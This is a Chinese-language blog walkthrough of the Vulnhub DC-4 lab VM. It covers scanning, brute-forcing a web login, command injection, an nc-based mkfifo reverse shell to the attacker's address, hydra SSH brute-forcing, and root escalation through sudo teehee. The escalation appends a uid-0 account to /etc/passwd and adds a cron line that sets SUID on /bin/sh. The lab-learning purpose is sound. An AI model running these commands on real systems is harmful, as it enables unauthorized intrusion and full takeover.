还在加载 请稍等一下辣ヾ(≧▽≦*)o . . .

Vulnhub-DC-4靶机实战


前言

靶机下载地址:https://www.vulnhub.com/entry/dc-4,313/

KALI地址:192.168.75.108

靶机地址:192.168.75.207


一.信息发现

1.主机发现

使用命令如下

netdiscover -r 192.168.75.108

如下图,发现了我们靶机的地址。


2.主机扫描

这里使用nmap工具进行扫描,命令如下。

nmap -A -T4 -O -p 0-65535 192.168.75.207

扫描结果如下,发现开放了80,22号端口。


3.目录扫描

既然开放了80端口,那么我们就可以二话不说直接开始目录扫描,命令如下。

dirb http://192.168.75.207

扫描结果如下图,发现并没有什么可以利用的点。


4.网页信息收集

既然开放了,80端口,我们可以直接去访问,如下图,打开首页发现是一个登录框,我们可以尝试登录,随后又抽卡了源代码,网络信息,均没有发现可以利用的点。


二.漏洞利用

经过上面信息收集,发现了首页是可以登录的,并且没有验证码,试过了SQL注入,不行,尝试弱密码爆破。

爆破结果如下,发现密码可能是happy。

经过测试发现就是happy,如下图,并且成功登录进去。

1.命令执行

经过发现,发现可以执行命令,如下图,想法是是否可以尝试绕过,执行其他命令。

这里就可以使用bp进行抓包,然后进行绕过,如下图

下面是输出结果,如下图。

所以我们就有了思路,一个思路是,让靶机下载我们的webshell,然后我们连接,第二个思路是反弹shell。


2.反弹shell

简单的说一下第一种思路,经过测试,发现靶机没有wget的下载权限,就放弃了,直接来到第二个思路也就是反弹shell的思路。

这里在靶机使用的命令是rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.75.108 6666 > /tmp/f;

然后在kali里面使用nc命令来进行监听,命令如下。

nc -lnvp 6666

如下图效果开始监听。

这里说一下历程,按照正常来说,像如下图一样发包就可以直接反弹成功了,但是发送了,就是没有反弹,看了大佬的博客才知道不能这样发包。

所以我们需要在前端修改代码,才能成功反弹,如下图查看源代码修改即可,然后点击run运行就可以直接成功反弹shell了。

如下图,KALI成功接收反弹。


三.提权

1.获取jim账户密码

先按照如下图操作,先查看自己是什么用户和ID,然后使用python更换终端。

然后我们可以查看/etc/passwd下面的用户,如下图,发现了,三个用户,一个是jim,一个是charles,一个是sam

然后经过查找,发现在home目录下面发现了几个人的目录路径,如下图。

经过测试发现,在jim目录下面,发现了老密码的字样,我们直接打开看。

如下图,打开全是密码,这里的思路,这么多密码,肯定要试试暴力破解了,这里我们把密码复制进去文本

我们这里使用hydra工具来进行暴力破解ssh,使用命令如下。

hydra -l jim -P pass.txt -s 22 ssh://192.168.75.207 -vV

-l #对应的是一个用户,如果是大写的-L就是用户本
-P #对应的是一个密码本,如果是小p那么就是一个密码
-s #对应的是端口
-vV #显示破解过程

如下图破解成功,成功发现jim的密码。

账户:jim

密码:jibril04

但是经过测试发现jim这个账户啥也不能干啊。


2.获取Charles账户密码

经过一番查找在/var/mail下面发现了一封邮件,邮件内容如下图,发现是密码。

我们可以尝试登录一下查看,如下图,发现可以登录,然后我们查看是否有sudo权限,我们直接使用如下命令查看。

sudo -l

发现有teeche的命令执行权限,如下图。


3.执行提权操作

因为不熟悉teehee的提权方式,所以不怎么熟悉,就查了一下资料,这里有两种方法可以提权,第一种就是在/etc/passwd下面添加用户

第二种方法就是在linux的自动任务执行里面进行利用。


1.在/etc/passwd添加用户

首先需要执行一个命令perl -le 'print crypt("123456", "ken"),如下图。

然后就可以执行一个命令来进行添加用户,命令如下。

echo "takagisan:keNdbTFs2CPY6:0:0:::/bin/bash" | sudo teehee -a /etc/passwd

然后如下图,报错失败,查了一下资料之后,发现需要第一次登录root用户在退出来就可以了,所以我这里直接换其他的提权方式了。


2.创建定时任务给提权

看了一下大佬的博客,发现是这样的,创建一个定时人物然后给/bin/sh赋予SUID的权限,然后用teehee命令这个定时任务,写到/etc/crontab里面去。

命令如下。

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

crontab命令详解可以百度查资料。

这样之后我们就可以直接在控制台里面输入/bin/sh就可以了,如下图提权成功。

然后我们就可以去查看flag了,如下图,在root目录发现flag。


四.总结

需要注意查看var下面的mail邮件目录,然后提权需要注意teehee提权方式,还需要多注意查看各种敏感目录,和文件。


文章作者: Kenken
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Kenken !
评论
  目录